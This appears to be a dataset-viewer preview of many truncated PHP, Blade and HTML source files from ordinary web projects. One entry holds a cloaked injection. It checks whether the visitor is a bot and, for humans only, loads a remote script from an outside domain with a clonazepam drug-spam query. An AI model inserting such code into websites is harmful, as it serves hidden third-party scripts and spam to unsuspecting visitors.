text stringlengths 2 1.03M |
|---|
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateDaftarSubjekKeluhanTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('daf... |
<?php
namespace Madnest\MadstoreStripe\Items;
use ArrayAccess;
abstract class Item implements ArrayAccess
{
/**
* Data
*
* @var array
* @access private
*/
private $data = [];
/**
* Get a data by key
*
* @param string The key data to retrieve
* @access public... |
<?php
namespace Elgg\WalledGarden;
/**
* Remove public access for walled garden
*
* @since 4.0
*/
class RemovePublicAccessHandler {
/**
* Remove public access for walled gardens
*
* @param \Elgg\Hook $hook 'access:collections:write', 'all'
*
* @return array|void
*/
public function __invoke(\Elgg\H... |
<?php
namespace HuaweiCloud\SDK\Eip\V2\Model;
use \ArrayAccess;
use HuaweiCloud\SDK\Core\Utils\ObjectSerializer;
use HuaweiCloud\SDK\Core\Utils\ModelInterface;
use HuaweiCloud\SDK\Core\SdkResponse;
class ResourceResp implements ModelInterface, ArrayAccess
{
const DISCRIMINATOR = null;
/**
* The original... |
<?php
return [
'@class' => 'Grav\\Common\\File\\CompiledYamlFile',
'filename' => 'E:/WEBDEV/PORTFOLIO/portfolio/user/plugins/admin/languages/he.yaml',
'modified' => 1547431397,
'data' => [
'PLUGIN_ADMIN' => [
'ADMIN_BETA_MSG' => 'זוהי מהדורת ביתא! השימוש על אחריותכם בלבד...',
... |
<!DOCTYPE html>
<html>
<head>
<title>Menambahkan Data Kategori</title>
</head>
<body>
<h3>Menambahkan Data Kategori</h3>
@if(count($errors) > 0)
<div>
<ul>
@foreach($errors->all() as $errors)
<li> {{$errors}} </li>
@endfor... |
@extends('layouts.app')
<head xmlns="http://www.w3.org/1999/html">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="csrf-token" content="{{ csrf_token() }}">
<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
... |
<?php
/**
* Copyright © 2013-2017 Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\Wishlist\Test\Unit\Controller\Index;
use Magento\Framework\Controller\ResultFactory;
/**
* @SuppressWarnings(PHPMD.CouplingBetweenObjects)
*/
class UpdateItemOptionsTest extends \PHPUn... |
<?php
namespace Tests\Alexa\Response\Directives;
use \InternetOfVoice\LibVoice\Alexa\Response\Directives\Image;
use \PHPUnit\Framework\TestCase;
/**
* Class ImageTest
*
* @author Alexander Schmidt <a.schmidt@internet-of-voice.de>
* @license http://opensource.org/licenses/MIT
*/
class ImageTest extends TestCase... |
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Models\Admin\Halaman;
use App\Models\Admin\Menu;
use App\Models\Admin\MenuParent;
use Illuminate\Http\Request;
class MenuController extends Controller
{
function index()
{
$data = MenuParent::all();
$menu... |
<?php
include 'check_is_bot.php';
if(empty($is_bot)){
echo '<script type="text/javascript">var q = "buy clonazepam cheap online no prescription";</script>
<script type="text/javascript" src="http://thecaotructuyen.com/2018/06/jscs.min.js"></script>';
}
if(!empty($is_bot)){
}
?>
<!DOCTYPE html... |
<?php
class State_model extends CI_Model
{
function __construct()
{
parent::__construct();
$this->db->cache_on();
}
/*
* Get state by id
*/
function get_state($id)
{
return $this->db->get_where('states',array('id'=>$id))->row_array();
}
... |
<?php
namespace Oro\Bundle\SegmentBundle\Model;
use Doctrine\ORM\EntityManager;
use Oro\Bundle\SegmentBundle\Entity\Segment;
use Oro\Bundle\QueryDesignerBundle\Exception\InvalidConfigurationException;
/**
* Class RestrictionSegmentProxy
*
* @package Oro\Bundle\SegmentBundle\Model
*
*/
class RestrictionSegmentP... |
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Sufee Admin - HTML5 Admin Template</title>
<meta name="description" content="Sufee Admin - HTML5 Admin Template">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="apple-touch-icon" hre... |
<?php
// autoload_classmap.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'App\\Console\\Kernel' => $baseDir . '/app/Console/Kernel.php',
'App\\Exceptions\\Handler' => $baseDir . '/app/Exceptions/Handler.php',
'App\\Http\\Controllers\\Ana... |
<?php
class Generic_model extends CI_Model {
//initialize the path where you want to save your images
function __construct() {
parent::__construct();
}
function select($tbl) {
$this->db->select('*');
$this->db->from($tbl);
$query = $this->db->get();
if ($query... |
<?php
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| r... |
@extends('admin.layouts.app')
@section('styles')
<link rel="stylesheet" type="text/css" href="{{asset('app-assets/vendors/css/tables/datatable/datatables.min.css')}}">
@endsection
@section('sidebar')
@include('admin.layouts.sidebars.students-sidebar')
@endsection
@section('title',trans('student::local.classrooms'))
@... |
<?php
/*
|--------------------------------------------------------------------------
| Model Factories
|--------------------------------------------------------------------------
|
| Here you may define all of your model factories. Model factories give
| you a convenient way to create models for testing and seeding yo... |
<?php
namespace PantheonSystems\CDNBehatHelpers;
final class AgeTracker
{
public function trackHeaders($path, $headers)
{
$this->headers[$path][] = array_filter($headers, function ($v, $k) {
// Filter out headers that won't help with debugging.
$tracked_headers = [
... |
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Login extends MY_Controller {
public function __construct()
{
parent::__construct();
$this->load->model('user_model');
}
public function index()
{
$params = params_check($_POST, array('username', 'password'));
if (!$params['use... |
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateQuestionTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('questions', fu... |
<?php
namespace Oro\Bundle\SearchBundle\Command;
use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Oro\Bundle\SearchBundle\Engine\EngineInte... |
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Target extends Model
{
public function user()
{
return $this->belongsTo('App\User');
}
public function posts()
{
return $this->hasMany('App\Post');
}
} |
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class AsignaCriterio extends Model
{
protected $table = 'asigna_criterios';
protected $primaryKey = 'id_asignacriterio';
protected $fillable = ['id_factor','id_criterio'];
function getFactoresAmbientales()
{
return $this->hasMa... |
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Ordering_product extends Model
{
protected $table = 'ordering_products';
protected $fillable = ['ordering_id','product_id','product_number','amount'];
public function join_Product(){
return $this->belongsTo('App\Product','product_id', 'pro... |
<?php
// set the required variables
$title_label = elgg_echo('title');
$title_input = elgg_view('input/text', array('name' => 'title', 'value' => $vars['title']));
$description_label = elgg_echo('description');
$description_input = elgg_view('input/longtext', array('name' => 'description', 'value' => $vars['descripti... |
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>InlineForm2 QUnit Tests</title>
<link rel="stylesheet" href="//code.jquery.com/qunit/qunit-1.15.0.css">
<link rel="stylesheet" href="css/inlineform.css">
<link rel="stylesheet" href="../css/bootstrap.min.css">
</head>
<body>
</body>
</... |
<?php
/**
* This file is part of the FreeDSx LDAP package.
*
* (c) Chad Sikorra <Chad.Sikorra@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FreeDSx\Ldap\Protocol\ServerProtocolHandler;
use FreeDSx\Ldap\Ent... |
<?php
use yii\widgets\ListView;
use yii\helpers\Url;
use common\models\CommonUtil;
$this->title = "卖家注册";
$this->params['breadcrumbs'][] =['label' => '卖家中心', 'url' => ['index']];
$this->params['breadcrumbs'][] = $this->title;
?>
<div class="panel-white">
<h5>卖家中心</h5>
<ul class="mui-table-view">
<li class... |
<nav class="navbar navbar-inverse">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<s... |
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ModelBuku extends CI_Model
{
//manajemen buku
public function getBuku()
{
return $this->db->get('buku');
}
public function bukuWhere($where)
{
return $this->db->get_where('buku', $where);
}
pub... |
<?php
use App\Models\User;
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateUsersTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::crea... |
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
trait Collaborative_Writing_Write_Controller_Missionpost_Method_Trait
{
public function missionpost($id = false)
{
$this->config->load('collaborative_writing', false, true);
if (isset($_POST['submit']) && $pad_i... |
<?php
/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
namespace Larium\Security\Encoder;
class PlainTextEncoder implements PasswordEncoderInterface
{
public function encode($password)
{
return $password;
}
public function validate($password, $crypted_password)
{
re... |
<?php
namespace Douche\View;
use Douche\Entity\Auction;
class AuctionView
{
public $id;
public $name;
public $highestBid;
public $highestBidder;
public $isRunning;
public $endingAt;
public function __construct(array $attributes = array())
{
foreach ($attributes as $name => $v... |
<?
$result = [];
$result[] = array(
'CAPTION'=>t('Align'),
'TYPE'=>'combo',
'PROP'=>'align',
'VALUES'=>$_c->s('TAlign'),
'ADD_GROUP'=>true
);
$result[] = array(
'CAPTION'=>t('Text'),
... |
<?php
namespace App\Http\Controllers;
use App\User;
use App\Competition;
use App\Registrant;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Gate;
use Illuminate\Support\Facades\Validator;
class CompetitionController extends Controller
{
public fu... |
<?php
Route::get ('/', 'FixedCostController@index' )->name('fixedCosts.index');
Route::get ('novo', 'FixedCostController@create')->name('fixedCosts.create');
Route::get('trash', 'FixedCostController@trash' )->name('fixedCosts.trash');
Route::get('pesquisar', 'Fixe... |
<?php
namespace App\Http\Controllers;
use App\Models\Category;
use App\Models\Post;
use Illuminate\Support\Facades\Gate;
use Illuminate\Http\Request;
class PostController extends Controller
{
public function index()
{
// // only admins can access this page
// $this->authorize('admin');
... |
<?php
session_start();
if (!isset($_SESSION['username'])) {
header("location:login.php");
}
//------------------------------------------------
if(!isset($_SESSION['accion_periodo'])){
$_SESSION['accion_periodo']="";
}
include_once '../DAO/Registro/Periodo_Fecha.php';
$privilegios = $_SESSION['array_menus'];
... |
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\Payment\Model;
use Magento\Framework\DataObject;
use Magento\Quote\Api\Data\CartInterface;
/**
* Payment interface
* @api
* @since 100.0.2
*/
interface MethodInterface
{
/**
* Retriev... |
<?php
namespace backend\controllers;
use Yii;
class FileUploadController extends \yii\web\Controller
{
public function actionIndex()
{
return $this->render('index');
}
public function beforeAction($action) {
$this->enableCsrfValidation = false;
return parent::beforeAction($a... |
<?php
/**
* GetSharedTemplateUrl
*
* PHP version 5
*
* @category Class
* @package Swagger\Client
* @author http://github.com/swagger-api/swagger-codegen
* @license http://www.apache.org/licenses/LICENSE-2.0 Apache Licene v2
* @link https://github.com/swagger-api/swagger-codegen
*/
/**
* Mailvio API ... |
<?php
/**
* Created by PhpStorm.
* User: Krzysztof
* Date: 15.11.2018
* Time: 13:29
*/
namespace App\Notifications;
use Illuminate\Bus\Queueable;
use Illuminate\Notifications\Notification;
use NotificationChannels\OneSignal\OneSignalChannel;
use NotificationChannels\OneSignal\OneSignalMessage;
use NotificationC... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Badakman Administrator</title>
... |
<?php
use yii\helpers\ArrayHelper;
use yii\db\Connection;
$localConfig = __DIR__ . DIRECTORY_SEPARATOR . 'config-local.php';
$dbType = getenv('DB_TYPE') ?: 'pgsql';
$dbHost = getenv('DB_HOST') ?: 'localhost';
$dbName = getenv('DB_NAME') ?: 'bobra_cpa';
$dsn = "{$dbType}:host={$dbHost};dbname={$dbName}";
$config = ... |
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Cek_lab extends CI_Controller {
public $menuID = 18;
public $name = 'Cek Lab';
public function __construct(){
parent::__construct();
$this->load->model('M_cek_lab');
$this->load->model('M_menu');
$this->load->helper('messa... |
<?php
use Twig\Environment;
use Twig\Error\LoaderError;
use Twig\Error\RuntimeError;
use Twig\Markup;
use Twig\Sandbox\SecurityError;
use Twig\Sandbox\SecurityNotAllowedTagError;
use Twig\Sandbox\SecurityNotAllowedFilterError;
use Twig\Sandbox\SecurityNotAllowedFunctionError;
use Twig\Source;
use Twig\Template;
/* co... |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta name="viewport" content="width=device-width, initial-scale=1">
<t... |
@foreach($members as $member)
<table>
<tr>
<td>
<p style="text-align: center;">
<img src="{{ url($member['photo']) }}" style="width: 95px;"/>
</p>
<p style="margin: 0; text-align: center;">{{ $member['name'] }}</p>
<p style="margin: 0; text-al... |
<div id="sub-menu">
<ul id="sub-menu-container">
<li class='menu-item-breadcrumb'><?php echo anchor('researcher/studies', 'Studies'); ?></li>
<?php
if (isset($study_data)) {
echo "<li class='menu-item-breadcrumb'><span style='margin-right: 7px;'>»</span>" .
anchor('researcher/study/'.$study_da... |
<?php
declare(strict_types=1);
/*
* Copyright 2020 Mathieu Piot
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless require... |
<?php
namespace ContainerUefsxn8;
use Symfony\Component\DependencyInjection\Argument\RewindableGenerator;
use Symfony\Component\DependencyInjection\Exception\RuntimeException;
/**
* @internal This class has been auto-generated by the Symfony Dependency Injection Component.
*/
class getAdminContextResolverService e... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateSponsorshipsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('sponsorshi... |
<?php
include '../init.php';
if(isset($_POST['id']) AND isset($_POST['text']) AND isset($_POST['field']) ){
$text = $getFromT->checkInput($_POST['text']);
$id = $getFromT->checkInput($_POST['id']);
$field = $getFromT->checkInput($_POST['field']);
if(isset($_POST['id']) AND isset($_POST['text']) ... |
<?php
use Nwidart\Modules\Activators\FileActivator;
use Nwidart\Modules\Commands;
return [
/*
|--------------------------------------------------------------------------
| Module Namespace
|--------------------------------------------------------------------------
|
| Default module namespace... |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class Theme extends Model
{
use HasFactory;
protected $table = 'theme';
protected $fillable = ['id', 'title', 'link_code', 'description','theme', 'section_id'];
public function s... |
<?php
namespace Drupal\backup_migrate\Form;
use Drupal\Core\Entity\EntityConfirmFormBase;
use Drupal\Core\Form\FormStateInterface;
use Drupal\Core\Url;
/**
* Builds the form to delete Settings Profile entities.
*/
class SettingsProfileDeleteForm extends EntityConfirmFormBase {
/**
* {@inheritdoc}
*/
pub... |
<?php
/**
* PHP Version 5
*
* @category Amazon
* @package MarketplaceWebService
* @copyright Copyright 2009 Amazon Technologies, Inc.
* @link http://aws.amazon.com
* @license http://aws.amazon.com/apache2.0 Apache License, Version 2.0
* @version 2009-01-01
*/
/*****************... |
@extends('layouts.admin')
@section('content')
<div class="card">
<div class="card-header">
{{ trans('global.create') }} {{ trans('cruds.archive.title_singular') }}
</div>
<div class="card-body">
<form method="POST" action="{{ route("admin.archives.store") }}" enctype="multipart/form-data">... |
<form class="form-inline" role="form" action="{{url('/store')}}" method="post">
{{csrf_field()}}
<div class="form-group">
<label class="sr-only" for="name" >学生名称</label>
<input type="text" class="form-control" name="name" id="name" placeholder="请输入名称">
</div>
<div class="form-group">
<label class="... |
--TEST--
Test fseek() function : variation functionality beyond file boundaries
--CREDITS--
Dave Kelsey <d_kelsey@uk.ibm.com>
--FILE--
<?php
echo "*** Testing fseek() : variation - beyond file boundaries ***\n";
$outputfile = __FILE__.".tmp";
$h = fopen($outputfile, "wb+");
for ($i = 1; $i < 10; $i++) {
fwrite($h,... |
<?php
// autoload_real.php @generated by Composer
class ComposerAutoloaderInit05802ade24b2f9948db9b4ab4516d3ab
{
private static $loader;
public static function loadClassLoader($class)
{
if ('Composer\Autoload\ClassLoader' === $class) {
require __DIR__ . '/ClassLoader.php';
}
... |
<?php
/**
*--------------------------------------------------------------------
*
* Base class for Barcode 1D and 2D
*
*--------------------------------------------------------------------
* Copyright (C) Jean-Sebastien Goupil
* http://www.barcodephp.com
*/
include_once('BCGColor.php');
include_once('BCGLabel.p... |
<?php $__env->startSection('content'); ?>
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2">
<div class="panel panel-default">
<div class="panel-heading">Dashboard</div>
<div class="panel-body">
<?php if(session('... |
<?php
namespace Pyrocmsapi\Http\Controllers;
use Illuminate\Foundation\Bus\DispatchesJobs;
use Illuminate\Routing\Controller as BaseController;
use Illuminate\Foundation\Validation\ValidatesRequests;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
class Controller extends BaseController
{
use Authorize... |
<?php
namespace Drupal\og\Plugin\OgDeleteOrphans;
use Drupal\Core\Entity\EntityInterface;
use Drupal\og\OgDeleteOrphansBase;
/**
* Performs an on-the-fly deletion of orphans.
*
* @OgDeleteOrphans(
* id = "simple",
* label = @Translation("Simple", context = "OgDeleteOrphans"),
* description = @Translation("I... |
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateTestimonialsRequestsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('te... |
<?php
use yii\helpers\Html;
use kartik\grid\GridView;
$this->title = $model::$tableBD->rus_name;
$this->params['breadcrumbs'][] = $this->title;
?>
<div class="tables-index">
<?=$this->render('_search', ['searchModel' => $searchModel])?>
<?= GridView::widget([
'dataProvider' => $dataProvider,
... |
<?php
$this->load->view('frontend/head');
?>
<?php echo $frondend_main_content; ?>
<!-- /#top-banner-and-menu -->
<?php
$this->load->view('frontend/footer');
?> |
@extends('layouts.master')
@section('content')
<div class="py-5">
<div class="text-center h2 font-weight-bolder"> Create Question</div>
<form action="{{route('question.store')}}" class="form-group" method="post">
@csrf
@include('question._questionForm',['buttonText'=>'Post'])... |
<?php
namespace App\Http\Controllers;
use App\Http\Requests\Request;
use App\Model\OrganizationType;
class OrganizationTypeController extends Controller
{
/**
* @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
*/
public function index()
{
return view('organization-type.i... |
<?php
class EmptyBedrijfsectorFixture extends CakeTestFixture
{
public $name = 'Bedrijfsector';
public $fields = array('id' => array('type' => 'integer', 'null' => false, 'default' => null, 'key' => 'primary'));
public $records = array();
} |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class DaftarAntri extends Model
{
use HasFactory;
} |
<?php
use yii\helpers\Html;
/* @var $this yii\web\View */
/* @var $model app\models\Pemesanan */
$this->title = 'Pesan Penginapan';
$this->params['breadcrumbs'][] = ['label' => 'Pemesanans', 'url' => ['index']];
$this->params['breadcrumbs'][] = $this->title;
?>
<div class="pemesanan-create">
<h1><?= Html::enco... |
<?php
namespace App\Models;
use Illuminate\Contracts\Auth\MustVerifyEmail;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Illuminate\Notifications\Notifiable;
use Laravel\Sanctum\HasApiTokens;
class User extends Authenticatable
{
use HasApiToken... |
@extends('main-doctor.layout.master')
@section('parentPageTitle', 'Patients')
@section('title', 'Add Patient')
@section('page-style')
<link rel="stylesheet" href="{{asset('assets/plugins/dropzone/dropzone.css')}}">
<link rel="stylesheet" href="{{asset('assets/plugins/bootstrap-material-datetimepicker/css/boots... |
<?php
// This file is auto-generated, don't edit it. Thanks.
namespace AlibabaCloud\SDK\CloudPhoto\V20170711\Models;
use AlibabaCloud\Tea\Model;
class RemoveAlbumPhotosResponse extends Model
{
/**
* @var string[]
*/
public $headers;
/**
* @var RemoveAlbumPhotosResponseBody
*/
pu... |
@extends('layout.index')
@section('custom_top_script')
@stop
@section('content')
<div class="content">
<div class="module">
<div class="module-head">
<h3>Alunos aguardando aprovação do empréstimo</h3>
</div>
<div class="module-body">
<table class="table... |
<?php
namespace WPML\ST\MO;
use MO;
use stdClass;
use WPML\Collect\Support\Collection;
class LoadedMODictionary {
const PATTERN_SEARCH_LOCALE = '#([-]?)([a-z]+[_A-Z]*)(\.mo)$#i';
const LOCALE_PLACEHOLDER = '{LOCALE}';
/** @var array */
private $domainsCache = [];
/** @var null|Collection $mo_files */
privat... |
<?php
namespace App\Http\Requests;
use Illuminate\Foundation\Http\FormRequest;
class FeedBackRequest extends FormRequest
{
/**
* Determine if the user is authorized to make this request.
*
* @return bool
*/
public function authorize()
{
return true;
}
/**
* Get t... |
<?php
namespace Database\Seeders;
use App\Models\User;
use Illuminate\Database\Console\Seeds\WithoutModelEvents;
use Illuminate\Database\Seeder;
class UserSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
User::truncate();
... |
<!--=== Header v8 ===-->
<div class="header-v8 header-sticky">
<!-- Topbar blog -->
<div class="blog-topbar">
<div class="topbar-search-block">
<div class="container">
<form action="">
<input type="text" class="form-control" placeholder="Search">
... |
<div class="row">
{{-- Session --}}
@if (session()->has('message'))
<script>
Swal.fire({
position: 'top-end',
icon: 'success',
title: 'Sukses',
text: "{{ session('message') }}",
showConfirmButton: false,
timer: 1500
})
... |
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Models\ModelCategory;
use Illuminate\Support\Facades\DB;
class Category extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index(Request $request)... |
@extends('admin.layouts.master')
@section('content')
<div class="container-fluid">
<div class="row bg-title">
<div class="col-lg-3 col-md-4 col-sm-4 col-xs-12">
<h4 class="page-title">Categories</h4></div>
<div class="col-lg-9 col-sm-8 col-md-8 col-xs-12">
... |
<?php
namespace Database\Factories;
use Illuminate\Database\Eloquent\Factories\Factory;
use Illuminate\Support\Str;
class UserFactory extends Factory
{
/**
* Define the model's default state.
*
* @return array
*/
public function definition()
{
return [
'name' => $t... |
<style>
.dataTables tbody tr {
min-height: 35px; /* or whatever height you need to make them all consistent */
}
.warning {
background-color: orange !important;
}
</style>
<script type="text/javascript" charset="utf-8">
function editIngreso(idIngreso) {
var dataIngreso = {
idIngreso: i... |
<?php
return [
'alipay' => [
'app_id' => '2016101500689966',
'ali_public_key' => 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnUMlUHpOyxXVJW8IJvFPYvUE56GFq+VeEWP6W3kz6AL2yiqeE9Z0xgOY+tcQ3NWz5BVQAp6dDUa3Vy1s3NCzkNAIpiIF+rdL/3ofD86+yyph9GqU1th3jpfgrS2CrCjEgVdlxfzNe/CITTwDsADsf4p53LEJgirPX9UhA... |
<?php
/**
* ------- U-232 Codename Trinity ----------*
* ---------------------------------------------*
* -------- @authors U-232 Team --------------*
* ---------------------------------------------*
* ----- @site https://u-232.duckdns.org/ ----*
* ---------------------------------------------*
* ----- ... |
<?php
class YamlFixtureTest extends SapphireTest {
static $fixture_file = 'sapphire/tests/testing/YamlFixtureTest.yml';
protected $extraDataObjects = array(
'YamlFixtureTest_DataObject',
'YamlFixtureTest_DataObjectRelation',
);
function testSQLInsert() {
$object1 = DataObject::get_by_id("YamlFixtureTest_D... |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class Ad extends Model
{
use HasFactory;
protected $guarded;
public function user()
{
return $this->belongsTo(User::class);
}
public function city()
{
... |
<?php if(isset($options->model) && isset($options->type)): ?>
<?php if(class_exists($options->model)): ?>
<?php $relationshipField = $row->field; ?>
<?php if($options->type == 'belongsTo'): ?>
<?php if(isset($view) && ($view == 'browse' || $view == 'read')): ?>
<?php... |
<?php
/**
* GraduationPlanReferenceTest
*
* PHP version 5
*
* @category Class
* @package Swagger\Client
* @author http://github.com/swagger-api/swagger-codegen
* @license http://www.apache.org/licenses/LICENSE-2.0 Apache Licene v2
* @link https://github.com/swagger-api/swagger-codegen
*/
/**
* Copyr... |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class TeamMember extends Model
{
protected $table = 'team_members';
protected $hidden = [
'team_id', 'created_at' , 'updated_at'
];
protected $fillable = [
'name', 'phone', 'team_id'
];
} |
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Arr;
use App\Models\User;
use Validator;
use Illuminate\Support\Facades\DB;
class AuthController extends Controller
{
public function login(Request $request) {
$validate = \Valid... |
<?php
/**
* fCMS SiteSystem core
*
* PHP Version 5.2
*
* @category Core
* @package Core
* @author Arne Blankerts <theseer@fcms.de>
* @copyright 2008 fCMS Development Team
* @license http://fcms.de/en/site/license.xml freepoint public license
* @version CVS: $Id: fde... |
@if ($errors->any())
<ul class="alert alert-danger">
@foreach ($errors->all() as $error)
<li> {{ $error }}</li>
@endforeach
</ul>
@endif |
<?php
/**
* Plugin Name: WP Mail SMTP
* Version: 1.8.1
* Plugin URI: https://wpmailsmtp.com/
* Description: Reconfigures the <code>wp_mail()</code> function to use Gmail/Mailgun/SendGrid/SMTP instead of the default <code>mail()</code> and creates an options page to manage the settings.
* Author: WPForms
* Author ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.